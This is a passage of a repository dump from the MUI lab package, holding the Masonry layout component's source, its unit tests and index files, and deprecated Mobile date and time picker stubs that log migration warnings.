 '& > *': {\n        margin: `calc(${spacing} / 2)`,\n      },\n      ...(ownerState.maxColumnHeight && {\n        height:\n          typeof spacing === 'number'\n            ? Math.ceil(ownerState.maxColumnHeight + parseToNumber(spacing))\n            : `calc(${ownerState.maxColumnHeight}px + ${spacing})`,\n      }),\n    };\n  };\n\n  styles = deepmerge(\n    styles,\n    handleBreakpoints({ theme }, spacingValues, spacingStyleFromPropValue),\n  );\n\n  const columnValues = resolveBreakpointValues({\n    values: ownerState.columns,\n    breakpoints: theme.breakpoints.values,\n  });\n\n  const columnStyleFromPropValue = (propValue) => {\n    const columnValue = Number(propValue);\n    const width = `${(100 / columnValue).toFixed(2)}%`;\n    const spacing =\n      (typeof spacingValues === 'string' && !Number.isNaN(Number(spacingValues))) ||\n      typeof spacingValues === 'number'\n        ? getValue(transformer, Number(spacingValues))\n        : '0px';\n    return {\n      '& > *': { width: `calc(${width} - ${spacing})` },\n    };\n  };\n\n  styles = deepmerge(styles, handleBreakpoints({ theme }, columnValues, columnStyleFromPropValue));\n\n  // configure width for responsive spacing values\n  if (typeof spacingValues === 'object') {\n    styles = deepmerge(\n      styles,\n      handleBreakpoints({ theme }, spacingValues, (propValue, breakpoint) => {\n        if (breakpoint) {\n          const themeSpacingValue = Number(propValue);\n          const lastBreakpoint = Object.keys(columnValues).pop();\n          const spacing = getValue(transformer, themeSpacingValue);\n          const column =\n            typeof columnValues === 'object'\n              ? columnValues[breakpoint] || columnValues[lastBreakpoint]\n              : columnValues;\n          const width = `${(100 / column).toFixed(2)}%`;\n          return {\n            '& > *': { width: `calc(${width} - ${spacing})` },\n          };\n        }\n        return null;\n      }),\n    );\n  }\n\n  return styles;\n};\n\nconst MasonryRoot = styled('div', {\n  name: 'MuiMasonry',\n  slot: 'Root',\n})(getStyle);\n\nconst Masonry = React.forwardRef(function Masonry(inProps, ref) {\n  const props = useThemeProps({\n    props: inProps,\n    name: 'MuiMasonry',\n  });\n\n  const {\n    children,\n    className,\n    component = 'div',\n    columns = 4,\n    spacing = 1,\n    sequential = false,\n    defaultColumns,\n    defaultHeight,\n    defaultSpacing,\n    ...other\n  } = props;\n\n  const masonryRef = React.useRef();\n  const [maxColumnHeight, setMaxColumnHeight] = React.useState();\n  const isSSR =\n    !maxColumnHeight &&\n    defaultHeight &&\n    defaultColumns !== undefined &&\n    defaultSpacing !== undefined;\n  const [numberOfLineBreaks, setNumberOfLineBreaks] = React.useState(\n    isSSR ? defaultColumns - 1 : 0,\n  );\n\n  const ownerState = {\n    ...props,\n    spacing,\n    columns,\n    maxColumnHeight,\n    defaultColumns,\n    defaultHeight,\n    defaultSpacing,\n    isSSR,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const handleResize = React.useCallback(() => {\n    if (!masonryRef.current) {\n      return;\n    }\n\n    const masonry = masonryRef.current;\n    const firstVisibleChild = Array.from(masonry.childNodes).find(\n      (child) =>\n        child.nodeType === Node.ELEMENT_NODE &&\n        child.dataset.class !== 'line-break' &&\n        window.getComputedStyle(child).display !== 'none',\n    );\n\n    if (!firstVisibleChild) {\n      return;\n    }\n\n    const parentWidth = masonry.clientWidth;\n    const firstChildWidth = firstVisibleChild.clientWidth;\n\n    if (parentWidth === 0 || firstChildWidth === 0) {\n      return;\n    }\n\n    const firstChildComputedStyle = window.getComputedStyle(firstVisibleChild);\n    const firstChildMarginLeft = parseToNumber(firstChildComputedStyle.marginLeft);\n    const firstChildMarginRight = parseToNumber(firstChildComputedStyle.marginRight);\n\n    const currentNumberOfColumns = Math.round(\n      parentWidth / (firstChildWidth + firstChildMarginLeft + firstChildMarginRight),\n    );\n\n    const columnHeights = new Array(currentNumberOfColumns).fill(0);\n    let skip = false;\n    let nextOrder = 1;\n    masonry.childNodes.forEach((child) => {\n      if (child.nodeType !== Node.ELEMENT_NODE || child.dataset.class === 'line-break' || skip) {\n        return;\n      }\n      const childComputedStyle = window.getComputedStyle(child);\n      if (childComputedStyle.display === 'none') {\n        return;\n      }\n      const childMarginTop = parseToNumber(childComputedStyle.marginTop);\n      const childMarginBottom = parseToNumber(childComputedStyle.marginBottom);\n      const childHeight = parseToNumber(childComputedStyle.height)\n        ? Math.ceil(parseToNumber(childComputedStyle.height)) + childMarginTop + childMarginBottom\n        : 0;\n      if (childHeight === 0) {\n        skip = true;\n        return;\n      }\n      for (let i = 0; i < child.childNodes.length; i += 1) {\n        const nestedChild = child.childNodes[i];\n        if (nestedChild.tagName === 'IMG' && nestedChild.clientHeight === 0) {\n          skip = true;\n          break;\n        }\n      }\n      if (!skip) {\n        if (sequential) {\n          columnHeights[nextOrder - 1] += childHeight;\n          child.style.order = nextOrder;\n          nextOrder += 1;\n          if (nextOrder > currentNumberOfColumns) {\n            nextOrder = 1;\n          }\n        } else {\n          const currentMinColumnIndex = columnHeights.indexOf(Math.min(...columnHeights));\n          columnHeights[currentMinColumnIndex] += childHeight;\n          const order = currentMinColumnIndex + 1;\n          child.style.order = order;\n        }\n      }\n    });\n    if (!skip) {\n      queueMicrotask(() => {\n        if (masonryRef.current) {\n          ReactDOM.flushSync(() => {\n            setMaxColumnHeight(Math.max(...columnHeights));\n            setNumberOfLineBreaks(currentNumberOfColumns > 0 ? currentNumberOfColumns - 1 : 0);\n          });\n        }\n      });\n    }\n  }, [sequential]);\n\n  useEnhancedEffect(() => {\n    if (typeof ResizeObserver === 'undefined' || typeof MutationObserver === 'undefined') {\n      return undefined;\n    }\n\n    const masonry = masonryRef.current;\n    if (!masonry) {\n      return undefined;\n    }\n\n    let resizeTimeout;\n    const debouncedHandleResize = () => {\n      clearTimeout(resizeTimeout);\n      resizeTimeout = setTimeout(handleResize, 16); // ~60fps\n    };\n\n    const resizeObserver = new ResizeObserver(debouncedHandleResize);\n    // Observes for child additions or removals to update the layout.\n    const mutationObserver = new MutationObserver((mutations) => {\n      mutations.forEach((mutation) => {\n        mutation.addedNodes.forEach((node) => {\n          if (node instanceof HTMLElement && node.dataset.class !== 'line-break') {\n            resizeObserver.observe(node);\n          }\n        });\n        mutation.removedNodes.forEach((node) => {\n          if (node instanceof HTMLElement && node.dataset.class !== 'line-break') {\n            resizeObserver.unobserve(node);\n          }\n        });\n      });\n      handleResize();\n    });\n\n    Array.from(masonry.childNodes).forEach((childNode) => {\n      if (childNode instanceof HTMLElement && childNode.dataset.class !== 'line-break') {\n        resizeObserver.observe(childNode);\n      }\n    });\n\n    mutationObserver.observe(masonry, {\n      childList: true,\n    });\n\n    handleResize();\n\n    return () => {\n      clearTimeout(resizeTimeout);\n      resizeObserver.disconnect();\n      mutationObserver.disconnect();\n    };\n  }, [handleResize, columns, spacing, children]);\n\n  const handleRef = useForkRef(ref, masonryRef);\n\n  // A line break is added to the end of each column to prevent columns from merging.\n  const lineBreaks = new Array(numberOfLineBreaks)\n    .fill('')\n    .map((_, index) => (\n      <span key={index} data-class=\"line-break\" style={{ ...lineBreakStyle, order: index + 1 }} />\n    ));\n\n  return (\n    <MasonryRoot\n      as={component}\n      className={clsx(classes.root, className)}\n      ref={handleRef}\n      ownerState={ownerState}\n      {...other}\n    >\n      {children}\n      {lineBreaks}\n    </MasonryRoot>\n  );\n});\n\nMasonry.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes /* @typescript-to-proptypes-ignore */.node.isRequired,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Number of columns.\n   * @default 4\n   */\n  columns: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The default number of columns of the component. This is provided for server-side rendering.\n   */\n  defaultColumns: PropTypes.number,\n  /**\n   * The default height of the component in px. This is provided for server-side rendering.\n   */\n  defaultHeight: PropTypes.number,\n  /**\n   * The default spacing of the component. Like `spacing`, it is a factor of the theme's spacing. This is provided for server-side rendering.\n   */\n  defaultSpacing: PropTypes.number,\n  /**\n   * Allows using sequential order rather than adding to shortest column\n   * @default false\n   */\n  sequential: PropTypes.bool,\n  /**\n   * Defines the space between children. It is a factor of the theme's spacing.\n   * @default 1\n   */\n  spacing: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * Allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default Masonry;\n"
  },
  {
    "path": "packages/mui-lab/src/Masonry/Masonry.test.js",
    "content": "import {\n  createRenderer,\n  reactMajor,\n  act,\n  screen,\n  flushEffects,\n  isJsdom,\n} from '@mui/internal-test-utils';\nimport { expect } from 'chai';\nimport { createTheme } from '@mui/material/styles';\nimport defaultTheme from '@mui/material/styles/defaultTheme';\nimport Masonry, { masonryClasses as classes } from '@mui/lab/Masonry';\nimport { getStyle, parseToNumber } from './Masonry';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Masonry />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(\n    <Masonry>\n      <div />\n    </Masonry>,\n    () => ({\n      classes,\n      inheritComponent: 'div',\n      render,\n      refInstanceof: window.HTMLDivElement,\n      testComponentPropWith: 'span',\n      muiName: 'MuiMasonry',\n      skip: ['themeVariants'],\n    }),\n  );\n\n  const theme = createTheme({ spacing: 8 });\n  const maxColumnHeight = 100;\n\n  describe('render', () => {\n    it.skipIf(isJsdom())('should render with correct default styles', function test() {\n      const width = 400;\n      const columns = 4;\n      const spacing = 1;\n\n      render(\n        <div style={{ width: `${width}px` }}>\n          <Masonry data-testid=\"container\">\n            <div data-testid=\"child\" />\n          </Masonry>\n        </div>,\n      );\n\n      const containerMargin = `-${parseToNumber(theme.spacing(spacing)) / 2}px`;\n      const childMargin = `${parseToNumber(theme.spacing(spacing)) / 2}px`;\n      expect(screen.getByTestId('container')).toHaveComputedStyle({\n        width: `${width}px`,\n        display: 'flex',\n        flexDirection: 'column',\n        flexWrap: 'wrap',\n        alignContent: 'flex-start',\n        boxSizing: 'border-box',\n        marginTop: containerMargin,\n        marginRight: containerMargin,\n        marginBottom: containerMargin,\n        marginLeft: containerMargin,\n      });\n      expect(screen.getByTestId('child')).toHaveComputedStyle({\n        boxSizing: 'border-box',\n        marginTop: childMargin,\n        marginRight: childMargin,\n        marginBottom: childMargin,\n        marginLeft: childMargin,\n        width: `${width / columns - parseToNumber(theme.spacing(spacing))}px`,\n      });\n    });\n\n    // only run on browser\n    it.skipIf(isJsdom())(\n      'should re-compute the height of masonry when dimensions of any child change',\n      async () => {\n        const spacingProp = 1;\n        const firstChildHeight = 10;\n        const secondChildInitialHeight = 20;\n        const secondChildNewHeight = 10;\n\n        render(\n          <Masonry columns={2} spacing={spacingProp} data-testid=\"container\">\n            <div style={{ height: `${firstChildHeight}px` }} />\n          </Masonry>,\n        );\n\n        const masonry = screen.getByTestId('container');\n        const secondItem = document.createElement('div');\n        secondItem.style.height = `${secondChildInitialHeight}px`;\n        masonry.appendChild(secondItem);\n\n        const topAndBottomMargin = parseToNumber(defaultTheme.spacing(spacingProp)) * 2;\n        expect(window.getComputedStyle(masonry).height).to.equal(\n          `${firstChildHeight + secondChildInitialHeight + topAndBottomMargin}px`,\n        );\n\n        secondItem.style.height = `${secondChildNewHeight}px`;\n\n        expect(window.getComputedStyle(masonry).height).to.equal(\n          `${firstChildHeight + secondChildNewHeight + topAndBottomMargin}px`,\n        );\n\n        await flushEffects();\n      },\n    );\n\n    // React 19 removed prop types support\n    it.skipIf(!isJsdom() || reactMajor >= 19)(\n      'should throw console error when children are empty',\n      function test() {\n        expect(() => render(<Masonry columns={3} spacing={1} />)).toErrorDev(\n          /Warning: Failed prop type: The prop `children` is marked as required in `ForwardRef\\(Masonry.*\\)`, but its value is `undefined`\\./,\n        );\n      },\n    );\n\n    it.skipIf(isJsdom())('should not throw type error when children are empty', function test() {\n      // React 19 removed prop types support\n      if (reactMajor < 19) {\n        expect(() => render(<Masonry columns={3} spacing={1} />)).toErrorDev(\n          /Warning: Failed prop type: The prop `children` is marked as required in `ForwardRef\\(Masonry.*\\)`, but its value is `undefined`\\./,\n        );\n      }\n\n      expect(() => render(<Masonry columns={3} spacing={1} />)).not.to.throw(new TypeError());\n    });\n  });\n\n  describe('style attribute:', () => {\n    it('should apply correct default styles', () => {\n      const columns = 4;\n      const spacing = 1;\n      expect(\n        getStyle({\n          ownerState: {\n            columns,\n            spacing,\n            maxColumnHeight,\n          },\n          theme,\n        }),\n      ).to.deep.equal({\n        width: '100%',\n        display: 'flex',\n        flexFlow: 'column wrap',\n        alignContent: 'flex-start',\n        boxSizing: 'border-box',\n        '& > *': {\n          boxSizing: 'border-box',\n          margin: `calc(${theme.spacing(spacing)} / 2)`,\n          width: `calc(${(100 / columns).toFixed(2)}% - ${theme.spacing(spacing)})`,\n        },\n        margin: `calc(0px - (${theme.spacing(spacing)} / 2))`,\n        height: `calc(${maxColumnHeight}px + ${theme.spacing(spacing)})`,\n      });\n    });\n\n    it('should apply responsive margin', () => {\n      const columns = 4;\n      const spacing = { xs: 1, sm: 2, md: 3 };\n      expect(\n        getStyle({\n          ownerState: {\n            columns,\n            spacing,\n            maxColumnHeight,\n          },\n          theme,\n        }),\n      ).to.deep.equal({\n        width: '100%',\n        display: 'flex',\n        flexFlow: 'column wrap',\n        alignContent: 'flex-start',\n        boxSizing: 'border-box',\n        '& > *': {\n          boxSizing: 'border-box',\n          width: `calc(${(100 / columns).toFixed(2)}% - 0px)`,\n        },\n        [`@media (min-width:${theme.breakpoints.values.xs}px)`]: {\n          '& > *': {\n            margin: `calc(${theme.spacing(spacing.xs)} / 2)`,\n            width: `calc(${(100 / columns).toFixed(2)}% - ${theme.spacing(spacing.xs)})`,\n          },\n          margin: `calc(0px - (${theme.spacing(spacing.xs)} / 2))`,\n          height: `calc(${maxColumnHeight}px + ${theme.spacing(spacing.xs)})`,\n        },\n        [`@media (min-width:${theme.breakpoints.values.sm}px)`]: {\n          '& > *': {\n            margin: `calc(${theme.spacing(spacing.sm)} / 2)`,\n            width: `calc(${(100 / columns).toFixed(2)}% - ${theme.spacing(spacing.sm)})`,\n          },\n          margin: `calc(0px - (${theme.spacing(spacing.sm)} / 2))`,\n          height: `calc(${maxColumnHeight}px + ${theme.spacing(spacing.sm)})`,\n        },\n        [`@media (min-width:${theme.breakpoints.values.md}px)`]: {\n          '& > *': {\n            margin: `calc(${theme.spacing(spacing.md)} / 2)`,\n            width: `calc(${(100 / columns).toFixed(2)}% - ${theme.spacing(spacing.md)})`,\n          },\n          margin: `calc(0px - (${theme.spacing(spacing.md)} / 2))`,\n          height: `calc(${maxColumnHeight}px + ${theme.spacing(spacing.md)})`,\n        },\n      });\n    });\n\n    it('should apply responsive columns', () => {\n      const columns = { xs: 3, sm: 5, md: 7 };\n      const spacing = 1;\n      expect(\n        getStyle({\n          ownerState: {\n            columns,\n            spacing,\n            maxColumnHeight,\n          },\n          theme,\n        }),\n      ).to.deep.equal({\n        width: '100%',\n        display: 'flex',\n        flexFlow: 'column wrap',\n        alignContent: 'flex-start',\n        boxSizing: 'border-box',\n        '& > *': {\n          boxSizing: 'border-box',\n          margin: `calc(${theme.spacing(spacing)} / 2)`,\n        },\n        margin: `calc(0px - (${theme.spacing(spacing)} / 2))`,\n        height: `calc(${maxColumnHeight}px + ${theme.spacing(spacing)})`,\n        [`@media (min-width:${theme.breakpoints.values.xs}px)`]: {\n          '& > *': {\n            width: `calc(${(100 / columns.xs).toFixed(2)}% - ${theme.spacing(spacing)})`,\n          },\n        },\n        [`@media (min-width:${theme.breakpoints.values.sm}px)`]: {\n          '& > *': {\n            width: `calc(${(100 / columns.sm).toFixed(2)}% - ${theme.spacing(spacing)})`,\n          },\n        },\n        [`@media (min-width:${theme.breakpoints.values.md}px)`]: {\n          '& > *': {\n            width: `calc(${(100 / columns.md).toFixed(2)}% - ${theme.spacing(spacing)})`,\n          },\n        },\n      });\n    });\n  });\n\n  describe('server-side rendering', () => {\n    it('should support server-side rendering', () => {\n      const defaultHeight = 700;\n      const defaultColumns = 4;\n      const defaultSpacing = 1;\n      expect(\n        getStyle({\n          ownerState: {\n            defaultColumns,\n            defaultSpacing,\n            defaultHeight,\n            isSSR: true,\n          },\n          theme,\n        }),\n      ).to.deep.equal({\n        width: '100%',\n        display: 'flex',\n        flexFlow: 'column wrap',\n        alignContent: 'flex-start',\n        boxSizing: 'border-box',\n        '& > *': {\n          boxSizing: 'border-box',\n          margin: parseToNumber(theme.spacing(defaultSpacing)) / 2,\n          width: `calc(${(100 / defaultColumns).toFixed(2)}% - ${theme.spacing(defaultSpacing)})`,\n          '&:nth-of-type(4n+1)': { order: 1 },\n          '&:nth-of-type(4n+2)': { order: 2 },\n          '&:nth-of-type(4n+3)': { order: 3 },\n          '&:nth-of-type(4n+0)': { order: 4 },\n        },\n        margin: -(parseToNumber(theme.spacing(defaultSpacing)) / 2),\n        height: defaultHeight,\n      });\n    });\n  });\n\n  describe('prop: columns', () => {\n    it('should generate correct responsive styles regardless of breakpoints order', () => {\n      const columns = { sm: 5, md: 7, xs: 3 };\n      const spacing = 1;\n      expect(\n        getStyle({\n          ownerState: {\n            columns,\n            spacing,\n            maxColumnHeight,\n          },\n          theme,\n        }),\n      ).to.deep.equal({\n        width: '100%',\n        display: 'flex',\n        flexFlow: 'column wrap',\n        alignContent: 'flex-start',\n        boxSizing: 'border-box',\n        '& > *': {\n          boxSizing: 'border-box',\n          margin: `calc(${theme.spacing(spacing)} / 2)`,\n        },\n        margin: `calc(0px - (${theme.spacing(spacing)} / 2))`,\n        height: `calc(${maxColumnHeight}px + ${theme.spacing(spacing)})`,\n        [`@media (min-width:${theme.breakpoints.values.xs}px)`]: {\n          '& > *': {\n            width: `calc(${(100 / columns.xs).toFixed(2)}% - ${theme.spacing(spacing)})`,\n          },\n        },\n        [`@media (min-width:${theme.breakpoints.values.sm}px)`]: {\n          '& > *': {\n            width: `calc(${(100 / columns.sm).toFixed(2)}% - ${theme.spacing(spacing)})`,\n          },\n        },\n        [`@media (min-width:${theme.breakpoints.values.md}px)`]: {\n          '& > *': {\n            width: `calc(${(100 / columns.md).toFixed(2)}% - ${theme.spacing(spacing)})`,\n          },\n        },\n      });\n    });\n  });\n\n  describe('prop: spacing', () => {\n    it('should generate correct responsive styles regardless of breakpoints order', () => {\n      const columns = 4;\n      const spacing = { sm: 2, md: 3, xs: 1 };\n      expect(\n        getStyle({\n          ownerState: {\n            columns,\n            spacing,\n            maxColumnHeight,\n          },\n          theme,\n        }),\n      ).to.deep.equal({\n        width: '100%',\n        display: 'flex',\n        flexFlow: 'column wrap',\n        alignContent: 'flex-start',\n        boxSizing: 'border-box',\n        '& > *': {\n          boxSizing: 'border-box',\n          width: `calc(${(100 / columns).toFixed(2)}% - 0px)`,\n        },\n        [`@media (min-width:${theme.breakpoints.values.xs}px)`]: {\n          '& > *': {\n            margin: `calc(${theme.spacing(spacing.xs)} / 2)`,\n            width: `calc(${(100 / columns).toFixed(2)}% - ${theme.spacing(spacing.xs)})`,\n          },\n          margin: `calc(0px - (${theme.spacing(spacing.xs)} / 2))`,\n          height: `calc(${maxColumnHeight}px + ${theme.spacing(spacing.xs)})`,\n        },\n        [`@media (min-width:${theme.breakpoints.values.sm}px)`]: {\n          '& > *': {\n            margin: `calc(${theme.spacing(spacing.sm)} / 2)`,\n            width: `calc(${(100 / columns).toFixed(2)}% - ${theme.spacing(spacing.sm)})`,\n          },\n          margin: `calc(0px - (${theme.spacing(spacing.sm)} / 2))`,\n          height: `calc(${maxColumnHeight}px + ${theme.spacing(spacing.sm)})`,\n        },\n        [`@media (min-width:${theme.breakpoints.values.md}px)`]: {\n          '& > *': {\n            margin: `calc(${theme.spacing(spacing.md)} / 2)`,\n            width: `calc(${(100 / columns).toFixed(2)}% - ${theme.spacing(spacing.md)})`,\n          },\n          margin: `calc(0px - (${theme.spacing(spacing.md)} / 2))`,\n          height: `calc(${maxColumnHeight}px + ${theme.spacing(spacing.md)})`,\n        },\n      });\n    });\n  });\n\n  describe('prop: sequential', () => {\n    const pause = (timeout) =>\n      act(\n        async () =>\n          new Promise((resolve) => {\n            setTimeout(() => {\n              resolve();\n            }, timeout);\n          }),\n      );\n\n    // only run on browser\n    it.skipIf(isJsdom())('should place children in sequential order', async function test() {\n      render(\n        <Masonry columns={2} spacing={1} sequential>\n          <div style={{ height: `20px` }} data-testid=\"child1\" />\n          <div style={{ height: `10px` }} data-testid=\"child2\" />\n          <div style={{ height: `10px` }} data-testid=\"child3\" />\n        </Masonry>,\n      );\n\n      await pause(400); // Masonry elements aren't ordered immediately, and so we need the pause to wait for them to be ordered\n      const child1 = screen.getByTestId('child1');\n      const child2 = screen.getByTestId('child2');\n      const child3 = screen.getByTestId('child3');\n      expect(window.getComputedStyle(child1).order).to.equal(`1`);\n      expect(window.getComputedStyle(child2).order).to.equal(`2`);\n      expect(window.getComputedStyle(child3).order).to.equal(`1`);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-lab/src/Masonry/index.d.ts",
    "content": "export * from './Masonry';\nexport { default } from './Masonry';\n\nexport * from './masonryClasses';\nexport { default as masonryClasses } from './masonryClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/Masonry/index.js",
    "content": "export { default } from './Masonry';\n\nexport * from './masonryClasses';\nexport { default as masonryClasses } from './masonryClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/Masonry/masonryClasses.ts",
    "content": "import generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport generateUtilityClasses from '@mui/utils/generateUtilityClasses';\n\nexport interface MasonryClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type MasonryClassKey = keyof MasonryClasses;\n\nexport function getMasonryUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiMasonry', slot);\n}\n\nconst masonryClasses: MasonryClasses = generateUtilityClasses('MuiMasonry', ['root']);\n\nexport default masonryClasses;\n"
  },
  {
    "path": "packages/mui-lab/src/MobileDatePicker/MobileDatePicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The MobileDatePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { MobileDatePicker } from '@mui/x-date-pickers'`\",\n        \"or `import { MobileDatePicker } from '@mui/x-date-pickers/MobileDatePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype MobileDatePickerComponent = (<TDate>(\n  props: MobileDatePickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The MobileDatePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst MobileDatePicker = React.forwardRef(function DeprecatedMobileDatePicker<TDate>(\n  props: MobileDatePickerProps<TDate>,\n  ref: React.Ref<any>,\n) {\n  warn();\n\n  return null;\n}) as MobileDatePickerComponent;\n\nexport default MobileDatePicker;\n\nexport type MobileDatePickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/MobileDatePicker/index.ts",
    "content": "export { default } from './MobileDatePicker';\nexport * from './MobileDatePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/MobileDateRangePicker/MobileDateRangePicker.ts",
    "content": "/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The MobileDateRangePicker component was moved from `@mui/lab` to `@mui/x-date-pickers-pro`',\n        '',\n        \"You should use `import { MobileDateRangePicker } from '@mui/x-date-pickers-pro'`\",\n        \"or `import { MobileDateRangePicker } from '@mui/x-date-pickers-pro/MobileDateRangePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype MobileDateRangePickerComponent = (<TDate>(\n  props: MobileDateRangePickerProps & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The MobileDateRangePicker component was moved from `@mui/lab` to `@mui/x-date-pickers-pro`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst MobileDateRangePicker = React.forwardRef(function DeprecatedMobileDateRangePicker() {\n  warn();\n\n  return null;\n}) as MobileDateRangePickerComponent;\n\nexport default MobileDateRangePicker;\n\nexport type MobileDateRangePickerProps = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/MobileDateRangePicker/index.ts",
    "content": "export { default } from './MobileDateRangePicker';\nexport * from './MobileDateRangePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/MobileDateTimePicker/MobileDateTimePicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The MobileDateTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { MobileDateTimePicker } from '@mui/x-date-pickers'`\",\n        \"or `import { MobileDateTimePicker } from '@mui/x-date-pickers/MobileDateTimePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype MobileDateTimePickerComponent = (<TDate>(\n  props: MobileDateTimePickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The MobileDateTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst MobileDateTimePicker = React.forwardRef(function DeprecatedMobileDateTimePicker() {\n  warn();\n\n  return null;\n}) as MobileDateTimePickerComponent;\n\nexport default MobileDateTimePicker;\n\nexport type MobileDateTimePickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/MobileDateTimePicker/index.ts",
    "content": "export { default } from './MobileDateTimePicker';\nexport * from './MobileDateTimePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/MobileTimePicker/MobileTimePicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The MobileTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { MobileTimePicker } from '@mui/x-date-pickers'`\",\n        \"or `import { MobileTimePicker } from '@mui/x-date-pickers/MobileTimePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype MobileTimePickerComponent = (<TDate>(\n  props: MobileTimePickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The MobileTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst MobileTimePicker = React.forwardRef(function DeprecatedMobileTimePicker() {\n  warn();\n\n  return null;\n}) as MobileTimePickerComponent;\n\nexport default MobileTimePicker;\n\nexport type MobileTimePickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/MobileTimePicker/index.ts",
    "content": "export { default } from './MobileTimePicker';\nexport * from './MobileTimePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/MonthPicker/MonthPicker.tsx",
